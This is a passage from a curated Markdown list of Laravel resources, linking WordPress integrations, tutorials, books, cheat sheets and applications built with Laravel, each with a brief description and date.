- [Twitter Bootstrap Forms](https://github.com/boxfrommars/rutorika-laravel-html) - Custom form controls based on Twitter Bootstrap. \[03/09/2016\]
- [Laraform](https://github.com/laraform/laraform) - Advanced form builder for Vue.js with Laravel support.
### WordPress Integration
- [Blade for Wordpress](https://github.com/MikaelMattsson/blade) - Wordpress plugin that allows use of Blade syntax. \[07/16/2015\]
- [Classy](https://github.com/anrw/classy) - Light, well-structured WordPress theme framework based on [Laravel Blade](https://laravel.com/docs/blade) template engine. \[07/28/2016\]
- [Corcel](https://github.com/jgrossi/corcel) - PHP class library that allows you to query [Wordpress](https://wordpress.org/) [database](http://codex.wordpress.org/Database_Description) with Laravel Eloquent ORM syntax.
- [Cutlass WordPress Starter Theme](http://cutlasswp.com/) - Use Laravel Blade template syntax in your WordPress templates. Includes Bootstrap and Font Awesome by default.
- [Koselig](https://github.com/koselig/koselig) - Laravel build that integrates access to WordPress API. \[05/01/2018]\
- [w.eloquent](https://github.com/bruno-barros/w.eloquent) - Wordpress integrated with Laravel via Composer. \[11/19/2016\]
- [WordPress Laravel Bootstrap](https://github.com/golr/wl-bootstrap) - Use any functions, methods, libraries of Laravel in WordPress projects. \[03/15/2017\]
## Tutorials
### Tutorials (General)
- [Getting Started with Pusher and Laravel Echo](https://www.youtube.com/watch?v=Qoti7G-tjN8) - In this screencast, The Skater Dev teaches how to build a real-time comments component using Laravel, Laravel Echo, and the Pusher Laravel Echo integration.
- [25 Laravel Tips and Tricks](http://code.tutsplus.com/tutorials/25-laravel-tips-and-tricks--pre-92818) - Jeffrey Way gives a nice overview/introduction to Laravel 4 in the form of more than two dozen tips.
- [Laravel 101](https://github.com/cviebrock/laravel-101-slides) - Colin Viebrock's introduction to Laravel with associated code.
- [Laravel 4 on Google AppEngine for PHP](http://blog.neoxia.com/laravel-4-on-google-appengine-for-php/) - Step-by-step instructions for setting up Laravel to run on [Google App Engine](https://cloud.google.com/appengine/).
- [Laravel 4 on a shared host](http://driesvints.com/blog/laravel-4-on-a-shared-host) - Shared hosting can be difficult to set up for Laravel. Here are some good tips.
- [Laravel Apz](https://github.com/jp7internet/laravel-apz) - Github repository with full tutorial on building Laravel 5.x application including AJAX CRUD, Bootstrap, and REST API. \[07/26/2017\]
- [Laravel on OpenShift](https://github.com/luciddreamz/laravel) - Instructions and customized package for using Laravel on [OpenShift](https://www.openshift.com/) PaaS.
- [Laravel Tutorials on Creative Punch](http://creative-punch.net/articles/php-articles/laravel-tutorials/) - Series of unique Laravel tutorials, with special focus on available packages.
- [Laravel Video Tutorials](http://andrewperkins.net/laravel) - Free, 10-part Laravel video tutorial with source code. (Videos mirrored [here](http://www.dwidi.net/video_tag/laravel/).)
- [Learning Laravel](http://learninglaravel.net/) - New book/tutorial site for beginners to the Laravel framework.
- [Test Better, Deploy Faster with Laravel](http://www.developer.com/lang/php/test-better-deploy-faster-with-laravel.html) - Nice overview of Laravel concepts and how to use it for TDD.
- [Tinkering with Tinker Like an Artisan](http://blog.enge.me/post/tinkering-with-tinker-like-an-artisan) - I think Tinker is one of the greatest features in all of Laravel!
- [Using AJAX in Laravel](http://blog.igeek.info/2013/using-ajax-in-laravel/) - While Laravel doesn't have "native" AJAX support, it's routing supports AJAX nicely.
- [Using Laravel Homestead as Your Development Environment](http://blog.teamtreehouse.com/using-laravel-homestead-development-environment) - Excellent, detailed tutorial on setting up [Vagrant](http://www.vagrantup.com/) and using it with Laravel [Homestead](http://laravel.com/docs/homestead) for development.
### Tutorial Series (Multi-part tutorials on Laravel basics)
- [Philip Brown's Cribbb Tutorials](http://culttt.com/tag/cribbb/) - Comprehensive tutorials on building application with Laravel 4.
- [Creating a Basic To Do Application in Laravel 5](https://www.flynsarmy.com/2015/02/creating-a-basic-todo-application-in-laravel-5-part-1/) - Excellent 4-part tutorial that covers all of the concepts for building Laravel application.
- [Laracademy](https://laracademy.co/) - Video tutorials on Laravel topics, similar to Laracasts. \[05/09/2016\]
- [Laravel 4 Tutorials](https://medium.com/laravel-4/) - Drills down into the details that underlie the implementation of Laravel 4 to help you better understand the concepts and principles.
- [Laravel 5 Beauty](http://laravelcoding.com/blog?tag=L5+Beauty) - Comprehensive, step-by-step tutorial for building a complete application with Laravel 5. \[08/13/2015\]
### Tutorials on Specific (and Frequently Occurring) Topics
- [Eloquent Model Relationships](http://codeplanet.io/laravel-model-relationships-pt-1/) - Excellent, detailed explanation of the various [model relationship types](http://laravel.com/docs/eloquent#relationships) in Laravel. (Source code [here](https://github.com/dtrenz/laravel-model-demo).) \[04/29/2015\]
- [Laravel user types and polymorphic relationships](http://www.richardbagshaw.co.uk/laravel-user-types-and-polymorphic-relationships/) - An alternative to [single-table inheritance (STI)](http://martinfowler.com/eaaCatalog/singleTableInheritance.html) using Laravel's [polymorphic relationships](http://laravel.com/docs/4.2/eloquent#polymorphic-relations).
- [Single-Table Inheritance in Laravel 4](http://www.colorfultyping.com/single-table-inheritance-in-laravel-4/) - Excellent tutorial on dealing with models that share common attributes, except for a small number of class- or type-specific attributes.
- [Limiting 'Belongs To Many' database queries with Pivot table values](http://stephen.rees-carter.net/thought/limiting-belongs-to-many-database-queries-with-pivot-table-values-in-laravel) - Also explains how to access additional attributes on [pivot tables](http://laravel.com/docs/4.2/eloquent#many-to-many).
- [Sharing Laravel Homestead Sites](https://medium.com/@genealabs/sharing-laravel-homestead-sites-ad05aa218022) with [ngrok](https://ngrok.com/) - If you have a Laravel Homestead (or *[other Vagrant Laravel environment](https://github.com/TimothyDJones/laravel-precise32-php5.4)*) that you want to share with others, these instructions will help you get it going.
## Resources
- [Awesome Laravel Repos](https://awesomerepos.com/laravel) - Directory of popular (based on stars) GitHub repositories for Laravel packages/resources. \[11/06/2017\]
- [Eloquent 101](http://eloquent101.com/) - Free tutorial on [Eloquent ORM](https://laravel.com/docs/eloquent) underlying Laravel framework. [Off-line version available](https://github.com/ahuggins/eloquent101), as well. \[06/25/2018\]
- [LaraBrain](http://larabrain.com/) - Directory of tips and tutorials for all aspects of Laravel development. \[11/03/2015\]
- [Laracasts](https://laracasts.com/) - The _de facto_ standard tutorials for Laravel developed by Jeffrey Way. (Some free Laracasts videos on YouTube [here](https://www.youtube.com/user/laracasts).)
- [Larachat Live](https://www.youtube.com/channel/UCKAj-eBdBINhJ2Bi9lut29A) - YouTube channel with weekly topics on Laravel platform. \[05/30/2017\]
- [Laracon 2014 Videos](http://userscape.com/laracon/2014/) - Directory of videos from 2014 Laracon in NYC.
- [Laravel Database Designer](https://biodesignrealworld.github.io/LaravelDatabaseDesigner/) - Online tool for creating database model, including exporting as migration. \[05/16/2015\]
- [Laravel Dojo](http://www.laravel-dojo.com/) - Tutorials on Laravel in Chinese (English translation [here](https://translate.google.com/translate?hl=en&sl=zh-CN&tl=en&u=http%3A%2F%2Fwww.laravel-dojo.com%2F)).
- [Laravel Hunt](https://laravel-hunt.com/) - A forum/directory for Laravel tutorials, examples, resources, etc. in the style of [Product Hunt](http://www.producthunt.com/). \[06/08/2015\]
- [Laravel Playground](https://laravelplayground.com/) - Online interactive tool that allows you to run basic Laravel code. You can even embed your work on other sites. \[10/08/2021\]
- [Laravel Schema Designer](http://laravelsd.com/) - Online tool for creating Laravel database schema and export the migration. You can share your schemas with others via the site.
- [LaravelSnippets.com](http://laravelsnippets.com/) - A repository of useful code snippets for Laravel PHP framework.
- [Laravel Tricks](http://www.laravel-tricks.com/) - Code snippets, best practices, and tips for Laravel development.
- [The Laravel Podcast](http://www.laravelpodcast.com/) - Brings you Laravel and PHP development news and discussion hosted by Matt Stauffer. \[04/12/2015\]
- [LaraShout](http://www.larashout.com/) - Helps you to learn Laravel, PHP, JavaScript and CSS. Enhance you web development skills and succeed.
### Applications Built with Laravel
- _[External List of Laravel Applications](https://github.com/unicodeveloper/awesome-opensource-webapps#laravel)_ \[03/28/2016\]
- _[Another Directory of Laravel Applications](https://devpost.com/software/built-with/laravel) \[12/31/2016\]
- [92five](http://92fiveapp.com/) - Open-source, self-hosting project management application.
- [AllDocs](https://alldocs.app/) - Free, [open-source](https://github.com/ueberdosis/alldocs.app) online tool for text document conversion between multiple formats based on [Pandoc](https://pandoc.org/). \[11/17/2020\]
- [AgoraKit](https://github.com/philippejadin/agorakit) - Full-featured, open-source groupware platform for citizens' initatives, including calendar, online discussion forums, and more. \[08/18/2017\]
- [Alpha Coders](https://alphacoders.com/) - Social media site for content creators (mainly graphics) to share their creations. \[08/20/2017\]
- [Amila CMS](https://github.com/AlexStack/Laravel-CMS) - Simple Bootstrap Laravel CMS for any EXISTING or new Laravel 6 website. \[09/11/2019\]
- [Asgard CMS](http://asgardcms.com/) - CMS built with Laravel with goals of modularity, multi-language support, and ease of installation.
- [Attendize](https://www.attendize.com/) - Free, [open-source](https://github.com/Attendize/Attendize), self-hosted ticket sales and event management platform. \[03/09/2016\]
- [Author's Republic](https://www.authorsrepublic.com/) - E-commerce site for authors to sell audio books. \[10/20/2015\]
- [BarChart.com](https://www.barchart.com/) - Portal for financial experts and businesses to get the latest market data for US, UK, Australia and Canadian stock markets. \[08/20/2017\]
- [Bible Super Search](https://sourceforge.net/projects/biblesuper/) - Bible study tool with advance search capabilities, includes API and GUI front-end. \[04/11/2020\]
- [Bombsite](https://bombsite.io/) - Free, online web site builder built with Laravel. \[04/23/2018\]
- [Bootsnipp](http://bootsnipp.com/) - Element gallery, playground and code snippets for Bootstrap framework.
- [BootstrapCMS](https://github.com/BootstrapCMS/CMS) - Comprehensive CMS built with Laravel using [Sentry](https://cartalyst.com/manual/sentry/) for user management/authentication.
- [BotMan Studio](https://github.com/botman/studio) - Laravel application to build custom chat bots using [BotMan](https://botman.io/). \[08/19/2017\]
- [BuildPrint](https://buildprint.io/) - Document and share your mods for most anything (cars, bicycles, drones) online. \[01/08/2018\]
- [Bumble CMS](http://bumblecms.com/) - CMS platform for Laravel framework with focus on simplicity. \[09/04/2015\]
- [Burnmsg](https://burnmsg.com/) - Simple self-destructing, [encrypted messaging application](http://www.edzynda.com/create-a-self-destructing-encrypted-message-app-in-laravel-part-1/) built on Laravel. [Open-source, self-hosted version available on Github.](https://github.com/ezynda3/burnmsg)
- [Cachet](https://cachethq.io/) - A single-site, alternative to https://statuspage.io written in PHP with the Laravel project, supporting both SQLite and MySQL databases.
- [Canvas](https://cnvs.io/) - An [open-source](https://github.com/cnvs/canvas) minimalist blogging platform for developers which uses [Summernote WYSIWIG editor](http://summernote.org/) for Markdown support built with Laravel. \[07/07/2016\]
- [Circuits.com](https://circuits.com/) - Electronic components marketplace with comprehensive search capability and over 3 billion parts in stock.
- [Coanda CMS](http://coandacms.org/) - Coanda CMS is a content management system based on the Laravel PHP Framework. \[04/13/2015\]
- [Coaster CMS](https://www.coastercms.org/) - Full-featured CMS platform with built-in support for [beacons](https://google.github.io/physical-web/). \[03/26/2017\]
- [Codex](http://codex.caffeinated.ninja/) - A simple file-based Markdown documentation platform built on top of Laravel.
- [Collabbing.com](https://collabbing.com/) - Site for collaborating with other developers on ideas and projects. \[04/23/2018\]
- [Colorsublime](http://colorsublime.com/) - Directory of [Sublime Text](http://www.sublimetext.com/) themes along with a plugin to simplify installation of those themes.
- [Confomo](https://confomo.com/) - Simple, [open-source](https://github.com/mattstauffer/confomo) tool for keeping track of contacts that you meet at conferences. \[07/27/2016\]
- [Commentum.io](https://commentum.io/) - A Reddit clone built with Laravel that scores entries based on "momentum" from events like views, comments, etc. \[08/31/2015\]
- [Crater](https://craterapp.com/) - An [open-source](https://github.com/bytefury/crater/) invoicing application for freelancers and small businesses. \[12/31/2020\]
- [Daybyday CRM](https://github.com/Bottelet/DaybydayCRM) - Full-featured CRM application with tasks and lead management, role-based settings, document attachements, and more (formerly known as Flarepoint CRM). \[08/26/2020\]
- [Decoy CMS](https://github.com/BKWLD/decoy) - Full-featured CMS with support for sharing models with other applications. \[03/15/2017\]
- [Devise CMS](http://devisephp.com/) - Open-source CMS built on Laravel intended to be used for both small and large CMS needs. \[09/29/2015\]
- [DevLeaks](http://devleaks.com/) - Web development news aggregator for tutorials, tools, and other resources of interest to developers. \[08/03/2015\]
- [dnsrecords.io](https://dnsrecords.io/) - [Open-source](https://github.com/spatie/dnsrecords.io) online DNS record lookup utility. \[10/26/2017\]
- [Dying Horizon](https://dyinghorizon.com) - Free post-apocalyptic, turn-based, role-playing browser game built with Laravel 5.1. \[11/21/2017\]
- [Earthquake Stream](https://earthquake.stream/) - Real-time feed of earthquakes reported by USGS to [demonstrate](https://medium.com/@piesse/laravel-horizon-and-earthquake-stream-d67a794bc9b5) Laravel [Horizon queue service](https://horizon.laravel.com/). \[09/21/2017\]
- [Easy Decision Maker](http://easydecisionmaker.com/) - Online tool for creating multiple-choice questions. \[10/21/2015\]
- [Filegr.am](http://filegr.am/) - Share files up to 1GB for 24 hours with no sign up or installation. \[07/31/2015\]
- [Flarum](http://flarum.org/) - Open-source forum software intended to make online discussions simple, fun, and fast. \[08/28/2015\]
- [Flashtag CMS](https://flashtag.org/) - [Open-source](https://github.com/flashtag/cms) simple CMS and blogging platform built with Laravel. \[04/12/2016\]
- [Food Zoo Menu](http://www.umt.edu/dining/foodzoomenu) - University cafeteria menu listings using Laravel REST API and AngularJS. \[05/09/2016\]
- [Geocod.io](http://geocod.io/) - Low-cost (2500 transactions per day free) geocoding web service built by [Mathias Hansen](https://twitter.com/MathiasHansen).
- [Gistlog](https://gistlog.co/) - Markdown-based blogging tool that uses Github's Gist platform for storage (more [here](https://laravel-news.com/2015/02/gistlog/)).
- [Git.cash](https://git.cash/) - Online marketplace for digital products with built-in Git integration. \[08/28/2017\]
- [GitGo](https://gitgo.io/) - Git repository hosting site with beautiful UI (includes free plan).
- [GitScrum](https://github.com/renatomarinho/laravel-gitscrum) - Laravel application that integrates Git version control with Scrum methodology for task management. \[12/16/2016\]
- [Handesk](https://github.com/BadChoice/handesk) - Help desk ticketing and lead management tool built with Laravel. \[01/19/2019\]
- [HasYourBabyArrivedYet.com](http://hasyourbabyarrivedyet.com/) - Free, simple service for sharing news about the arrival of your baby. \[08/11/2016\]
- [HiveStory](http://hivestory.com/) - Online collaborative story-writing application. \[11/09/2015\]
- [Interactive Books' Atelier](http://lostideaslab.com/pirates-lost-pearl/interactive-books-atelier/) - [Open-source](http://github.com/lil-plp/iba) customized CMS for managing small book clubs, including notes, recommendations and more. \[01/09/2018\]
- [Invoice Ninja](https://www.invoiceninja.com/) - Online small business invoicing platform with free plan up to 500 clients. [Open-source, self-hosted version available on Github.](https://github.com/hillelcoren/invoice-ninja)
- [Jigsaw](http://jigsaw.tighten.co/) - [Open-source](https://github.com/tightenco/jigsaw) static site generator and CMS tool built with Laravel that supports Blade templating and markdown. \[04/13/2016\]
- [Jumpertrax](https://www.jumpertrax.com/homepage) - Online sports event entry and tracking tool. \[05/10/2016\]
- [Kraken CRM](http://krakencrm.github.io/kraken/) - A simple, lightweight CRM (contact management tool) \[Under development\]. \[05/20/2015\]
- [Koel](http://koel.phanan.net) - A simple, [open-source](https://github.com/phanan/koel) web-based personal audio streaming service (i.e., [Spotify](https://www.spotify.com/) clone) written in [Vue.js](http://vuejs.org/) on the client side and Laravel on server side. \[12/14/2015\]
- [Kyle](https://github.com/laravelista/kyle) - Monthly billing/invoicing application built on Laravel. \[06/18/2016\]
- [LaraAdmin](http://laraadmin.com/) - [Open-source](https://github.com/dwijitsolutions/laraadmin) CRM platform that features CRUD generation, module and metadata management, media file (image, multimedia, etc.) management, and built-in code editor (based on [Ace Code Editor](https://ace.c9.io/)). \[08/30/2016\]
- [LaraEstimate](https://github.com/TiagoSilvaPereira/laraestimate) - Complete web design/development estimating and quoting tool built with Laravel and [Vue.JS](https://vuejs.org/). \[07/14/2020\]
- **[Laravel Open Source Projects](https://github.com/goodnesskay/Laravel-Open-Source-Projects)** - Large list of open-source Laravel projects, including flags for projects which can be used for tutorials. \[06/27\2017\]
- [Laravel Site](https://github.com/iZaL/laravel-site) - A custom CMS and event management platform built on Laravel 4.
- [Lavalite](http://www.lavalite.org/) - Multilingual CMS built on Laravel 4 and Bootstrap 3.
- [Learning Locker](https://learninglocker.net/) - An [open-source](https://github.com/LearningLocker/learninglocker) online tool to track learning/education records.
- [Leesmee](https://leesmee.com/) - Dutch language social news site. \[09/17/2018\]
- [Less Than Threes](https://lessthanthrees.com/) - Site to quickly and easily share collections of things you enjoy, such as movies, books, etc. (Source code [here](https://github.com/snipe/lessthanthrees).) \[08/19/2017\]
- [Lightweight Hiker](https://lwhiker.com/) - Site to search for used hiking/backpacking gear. \[02/15/2016\]
- [LinkAce](https://www.linkace.org/) - [Open-source](https://github.com/Kovah/LinkAce) self-hosted web bookmark tool built with Laravel and Vue.js with automatic backups. \[12/17/2020\]
- [Listymail](https://listymail.com/) - Free online tool for email distribution lists. \[02/15/2016\]
-**- [Php Coding Stuff](https://www.phpcodingstuff.com/)** - Site to Search any type of laravel project.
- **[Made with Laravel](https://madewithlaravel.com/)** - Online gallery of applications and tools built with Laravel. \[06/25/2018\]
- [MailCare](https://mailcare.io/) - Open source disposable email address service. \[04/24/2020\]
- [Makers Cabin](https://makerscabin.com/) - Learn full-stack web development using Laravel, Bootstrap, and other popular technologies. \[08/16/2017\]
- [Mascots](https://mascots.stevil.co/) - An [open-source]() database of mascots of various teams and organizations. \[11/19/2016\]
- [Maghnatis](http://maghnatis.com/) - Open-source Reddit clone forum application built with Laravel. (Source code available [here](https://github.com/Halnex/laravel-reddit).) \[10/27/2015\]
- [Microweber](https://github.com/microweber/microweber) - Open-source drag-and-drop website builder and content management system (CMS) with built-in e-commerce features. \[04/13/2021\]
- [Monica](https://monicahq.com/) - [Open-source](https://github.com/monicahq/monica) personal CRM for helping you keep track of your friends and family. \[10/02/2017\]
- [New Movies Coming Out](https://newmoviescomingout.us/) - Directory of US movie releases, including option for weekly e-mail notification. \[04/23/2018\]
- [OpenDominion](https://opendominion.net/) - [Open-source](https://github.com/WaveHack/OpenDominion), free online text-based strategy game in a medieval fantasy setting where you control a nation ('dominion'). \[11/06/2017\]
- [Opus](https://github.com/zeeshanu/opus) - Open-source knowledge-base platform for teams to improve collaboration. \[03/20/2017\]
- [Orchestra Platform](http://orchestraplatform.com/) - Laravel-based application boilerplate.
- [Paperwork](http://paperwork.rocks/) - Open-source note-taking/PIM alternative to [Evernote](https://evernote.com/) and Microsoft [OneNote](http://www.onenote.com/) built on Laravel, [AngularJS](https://angularjs.org/) and Bootstrap 3.
- [PasteCloud](https://pastecloud.net/) - Free online snippet/notepad. \[12/16/2016\]
- [PhotonCMS](https://photoncms.com/) - RESTful API-driven/headless CMS built on Laravel and Vue.js. \[03/03/2018\]
- [Picnic](http://mjolnic.com/picnic/) - On-demand image post-processing package built on Laravel 4. \[04/25/2015\]
- [Polr](https://polrproject.org/) - Quick, modern, [open-source](https://github.com/cydrobolt/polr) link/URL shortener built with Lumen. \[09/02/2017\]
- [Project Tools](https://sourceforge.net/project/project-tools/) - Self-hosted, open-source application for managing project requests that allows managers to assess the business value. \[05/02/2018\]
- [Pterodactyl](https://pterodactyl.io/) - Open-source (code [here](https://github.com/Pterodactyl/Panel)), game-agnostic game administration/management platform. \[04/24/2017\]
- [pwdquery](https://pwdquery.xyz) - Online tool for checking if your password/account has been compromised. \[06/25/2018\]
- [QnA](https://github.com/TheRealJAG/Laravel-QnA) - Question-and-answer site with support for up and down voting (i.e., Stack Overflow clone) built with Bootstrap and [Material Design](https://mdbootstrap.com/material-design-for-bootstrap/). \[04/11/2017\]
- [RasP.is](http://rasp.is/) - Basic URL shortener and bookmarking utility built with Laravel. Source code [here](https://github.com/kamranahmedse/laravel-url-shortener). \[10/10/2017\]
- [Reddit Grid](https://redditgrid.com/) - Browser for image-heavy Sub-Reddits with NSFW filtering. \[09/26\2017\]
- [Rewind Radio](https://www.rewindradio.com/) - Online tool for making and sharing radio clips including display of waveform audio. \[10/21/2015\]
- [RSS For the Rest of Us](https://rss.fortherestof.us/) - Open-source (code [here](https://github.com/wilderborn/rss-for-the-rest-of-us)) RSS feed reader built on Laravel using the new [JSON Feed](https://jsonfeed.org/) format. \[08/30/2017\]
- [Screeenly](http://screeenly.com/) - Open-source (source code [here](https://github.com/stefanzweifel/screeenly)) tool and API to create screen shots of web sites.
- [Shopopotamus](https://shopopotamus.com/) - Nice, responsive e-commerce site built on Laravel. \[12/11/2017\]
- [Shoulders CMS](https://github.com/ShouldersCMS) - Basic CMS built with Laravel. \[06/25/2018\]
- [snapr.pw](https://snapr.pw/) - Free online image hosting site built on Laravel. \[10/21/2015\]
- [Snipe-IT](http://snipeitapp.com/) - A free open source (source code [here](https://github.com/snipe/snipe-it)) IT asset/license management system built in PHP on Laravel 4.2 and Bootstrap 3. \[08/13/2015\]
- [Spiral](http://spiral.ac/) - Educational technology tools for collaboration and progress reporting. \[10/21/2015\]
- [Sprint Boards](https://sprintboards.io/) - Free agile development project management tool based on user story cards. Check out the [blog](https://blog.sprintboards.io/) to learn about how it works and was built. \[01/19/2019\]
- [SquareBit](https://squarebit.io/) - Digital ecommerce marketplace for books, software, and other goods with Git integration. \[01/08/2018\]
- [StackPile](https://stackpile.io/) - Online tool for managing third-party APIs used by your application, built with Laravel and [Vue.js](http://vuejs.org/). \[03/28/2016\]
- [Statimgram](https://statimgram.com/) - Allows you to publish images to multiple Instagram accounts simultaneously and schedule your posts. \[08/11/2016\]
- [Style CI](https://styleci.io/) - Free PHP coding style continuous integration service that checks and (optionally) fixes Github public repositories against PHP coding standards.
- [TestApi.io](https://testapi.io/) - Free, online API mock creator. \[03/23/2016\] - Allows you to publish images to multiple Instagram accounts simultaneously and schedule your posts. \[08/11/2016\]
- [Thermosis Framework](http://framework.themosis.com/) - [WordPress](http://wordpress.org/) framework that embeds Laravel to build complex applications.
- [Thor CMS](http://thorcms.github.io/) - A multipurpose Laravel 4 CMS platform and CRUD generator with built-in multi-language support. \[04/25/2015\]
- [TimeGrid.io](http://www.timegrid.io/) - Online reservation-booking application. Open-source application with source code available [here](https://github.com/alariva/timegrid). \[11/23/2015\]
- [TruckJee](http://www.truckjee.com/) - Similar to Uber for truck transport in India. \[07/12/2016\]
- [Taskord](https://taskord.com) - Get things done socially with community of makers. \[24/12/2020\]
- [TweetLater](http://tweetlater.xyz/) - Online tool to schedule sending tweets in the future. \[11/06/2017\]
- [Vale Brewing](http://valebrewing.com.au/) - Nice, well-structured web site for Australian craft brewer. \[10/20/2015\]
- [vimrcfu](https://github.com/florianbeer/vimrcfu) - Share your best vimrc snippets. (Source for [vimrcfu.com](http://vimrcfu.com/).)
- [Visual Bookmark Organizer](https://rivario.com/bookmark/) - Online bookmark tool that shows thumbnails of bookmarked site. (Source code on [Github](https://github.com/yhbyun/laravel-bookmark).) \[04/22/2015\]
- [Voten](https://voten.co/) - Social bookmarking site with support for up- and down-voting as well as discussions. (Source code [here](https://github.com/voten-co/voten).) \[08/19/2017\]
- [Vuedo](https://github.com/vuedo/vuedo) - Open-source blogging platform built with Laravel and [Vue.js](https://vuejs.org/) with Markdown editor and Amazon S3 integration. \[07/18/2016\]
- [Wardrobe](http://wardrobecms.com/) - A minimalist blogging platform and CMS supporting Markdown and simple theming.
- [Workeer](https://workeer.de/) - German-language site for helping refugees find jobs. \[11/06/2017\]
- [Xenon Support Center](https://github.com/shellprog/Xenon-Support-Center/) - A comprehensive, but minimal, open-source ticket- and conversation-management platform.
### Books
- *[Easy Laravel 5: A Hands On Introduction Using a Real-World Project](http://easylaravelbook.com/)* - W. Jason Gilmore's book on building applications with Laravel framework.
- [Laravel Application Development Blueprints](https://www.packtpub.com/web-development/laravel-application-development-blueprints)
- [Laravel Application Development Cookbook](https://www.packtpub.com/web-development/laravel-application-development-cookbook) - [Terry Matula](https://github.com/matula)
- [Leanpub Laravel Books](https://leanpub.com/book_search?search=laravel) - Directory of Leanpub books on Laravel. Some free!
- [Learning Laravel 4 Application Development](https://www.packtpub.com/web-development/learning-laravel-4-application-development) - [Hardik Dangar](https://plus.google.com/+HardikDangar/)
- [Laravel 5 Beauty](https://leanpub.com/l5-beauty) - [Chuck Heintelman](http://laravelcoding.com/blog) \[08/13/2015\]
- [Laravel: Up and Running](http://laravelupandrunning.com/) - Upcoming book from [Matt Stauffer](https://twitter.com/stauffermatt) for experienced developers looking to learn Laravel for the first time. \[02/11/2016\]
### References
- [75 Laravel Tutorials, Packages, and Resources from 2014](https://laravel-news.com/2014/12/75-laravel-tutorials-packages-resources-2014/) - Nice summary of the key events and tutorials in the Laravel world for 2014, from the folks at [Laravel News](https://laravel-news.com/).
- [Alternate Laravel Documentation](http://readouble.com/laravel/) - In easier to read format (Japanese/English). \[04/15/2015\]
- [Cheatsheetr](http://cheatsheetr.com/) - [Maks Surguy](http://maxoffsky.com/)'s topical cheat sheets for Laravel and Bootstrap.
- [Eloquent Relationships Cheat Sheet](https://hackernoon.com/eloquent-relationships-cheat-sheet-5155498c209) \[10/09/2017\]
- [Your One-Stop Guide to ~~Laravel~~ Artisan Commands](http://code.tutsplus.com/tutorials/your-one-stop-guide-to-laravel-commands--net-30349)
- [LaraGuide (Laravel Code Guide)](https://laraguide.surge.sh/) - Comprehensive guide on some of the more complex and esoteric aspects of Laravel for beginners. \[11/02/2017\]
- [LaraPulse](https://github.com/rinvex/larapulse) - Weekly summary of changes to Laravel framework and tips and snippets from Laravel world. \[08/31/2016\]
- [Laravel 5 Cheat Sheet](http://www.linxiang.info/l5-cs/) \[05/11/2015\]
- [Laravel 5.1 LTS Cheat Sheet](https://aufree.github.io/laravel5-cheatsheet/) \[04/13/2016\]
- [Laravel 5.1 LTS Cheat Sheet](https://summerblue.github.io/laravel5-cheatsheet/) \[05/04/2016\]
- [Laravel 5.1 LTS Cheat Sheet (Chinese)](https://cs.laravel-china.org/) \[07/26/2017\]
- [Laravel Cheat Sheet](http://cheats.jesse-obrien.ca/)
- [Laravel Cheat Sheet as a Phone Gap Application](https://github.com/gbanina/laravel-cheat-sheet) - Nice Laravel reference wrapped as a [PhoneGap](http://phonegap.com/)/[Cordova](http://cordova.apache.org/) application for viewing on mobile devices.
- [Laravel Errors](http://eecs.mines.edu/Courses/csci445/ASSIGN/laravel0.html#errors) - Good list of common Laravel errors and tips about typical causes.
- Another [Laravel Cheat Sheet](http://alexrussell.me.uk/laravel-cheat-sheet/)
- Another [Laravel Cheat Sheet (PDF)](https://docs.google.com/viewer?url=http://blog.kyawzinwin.me/wp-content/uploads/2014/03/Laravel-Cheatsheet.pdf)
- Another [Laravel Cheat Sheet (PDF)](https://docs.google.com/viewer?url=https://github.com/Turaylon/laravel4-cheat-sheet/raw/master/cheat-sheet-A4.pdf) \[04/30/2015\]
- [Laravel Guide](http://laravel-guide.readthedocs.io/) - Easy-to-read and navigate view of the Laravel documentaiton. \[05/17/2016\]
- [Laravel The Right Way](http://www.laravelbestpractices.com/) - *Opinionated* guide to Laravel development best practices, inspired by [PHP The Right Way](http://www.phptherightway.com/).
- [LaraVer](https://laraver.xyz/) - Online reference to the current released version of Laravel. With free account, you can see differences of current version to any previous version. \[12/07/2015\]
### Example Applications
- **[OpenLaravel](http://openlaravel.com/)** - Directory of open-source projects built with Laravel framework. (Source code [here](https://github.com/ammezie/openlaravel).) \[08/30/2016\]
- [Airflix](https://github.com/wells/airflix) - A web application for browsing and playing movies and TV shows from a local home server built with Laravel and [Vue.js](http://vuejs.org/). \[07/27/2016\]
- [Alfred CMS](http://www.alfred-cms.com/) - CMS built with Laravel and AngularJS that supports developer needs, but is simple for users. \[05/09/2016\]
- [Anvil CMS](https://github.com/loic-sharma/Anvil) - A basic CMS built on top of Laravel 4 with other components.
- [Arcanesoft CMS](https://github.com/ARCANESOFT/ARCANESOFT) - CMS built on Laravel with multiple packages that can be used independently. \[12/18/2015\]
- [Auto-Generating Gallery](https://github.com/martindilling/auto-generating-gallery) - Basic image gallery application with support for auto-generation of thumbnails, albums, and more.
- [Barbapappa](https://github.com/timvisee/barbapappa) Bar management application to manage transactions and inventory. \[11/01/2020\]
- [BookStack](https://github.com/BookStackApp/BookStack) - A simple, self-hosted, easy-to-use, wiki-like platform and [Confluence](https://www.atlassian.com/software/confluence/) alternative for organising and storing information. \[01/02/2016\]
- [Bookymark](https://github.com/mikedfunk/bookymark) - Basic web site bookmarking application built with Laravel 4, including full tests. \[04/28/2015\]
- [CocoPass](https://github.com/Elvenisboy/CocoPass) - Password management system similar to [LastPass](https://lastpass.com/) build with Laravel 5.3. \[09/13/2016\]
- [Collejo](https://github.com/codebreez/collejo) - Comprehensive ERP platform for schools and other education institutions built with Laravel. \[03/26/2017\]
- [Communalizer](https://github.com/communalizer) - Free, open-source and self-hosted forum system written on top of the Laravel framework. \[06/23/2016\]
- [DClassifieds](https://github.com/gdinko/dclassifieds.laravel) - Free, open-source classified ads script with support for social media login, bonus/reward system, multiple category types and more. \[03/26/2017\]
- [Dingo Project Management](https://github.com/zeeshanu/dingo-project-managment) - A full-featured personal project management tool with task boards. \[04/26/2016\]
- [Doptor CMS](http://www.doptor.org/) - Free, open-source CMS built with Laravel and Bootstrap that includes drag-and-drop form editing. \[03/02/2016\]
- [EasyAdmin](https://github.com/laravelish/EasyAdmin) - Advanced Laravel Login and User Management with Two-Factor Authentication. \[06/09/2016\]
- [Elephant Traders](https://github.com/matthewtrask/elephpant-traders) - Basic Laravel site example for e-commerce built for swapping PHP Elephant plush toys. \[12/11/2017\]
- [EESTEC Platform for Local Committees](https://github.com/angelov/eestec-platform) - Committee management tool for engineering student association. \[11/23/2015\]
- [GH-analytics](https://github.com/GH-analytics) - Reference implementation application with Laravel backend and [AngularJS](https://angularjs.org/) front-end.
- [IVD Assets](https://github.com/TTFerreira/ivd-assets) - IT asset management and ticketing application. \[08/02/2016\]
